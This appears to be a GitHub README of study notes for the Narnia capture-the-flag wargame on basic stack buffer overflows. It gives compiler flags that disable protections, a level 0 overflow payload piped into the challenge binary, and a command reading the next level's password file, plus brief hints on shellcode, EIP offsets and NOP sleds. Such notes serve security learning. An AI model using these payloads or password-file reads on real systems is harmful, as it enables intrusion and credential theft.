Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Stack bufer overflows - basic

Narnia

Visit the Narnia

compiler options

gcc -no-pie -fno-stack-protector -m32 -z execstack

level 0 - to get you started

(python -c 'print "A"*20 + "CHANGE HERE"'; cat) | ./narnia0
cat /etc/narnia_pass/narnia1

level 1 - first shellcode

level 2 - first sploit

  • EIP offset - cyclic payload
  • info frame

level 3 - not always a shell

  • soft links

level 4 - shellcoding in place

  • Nop sleed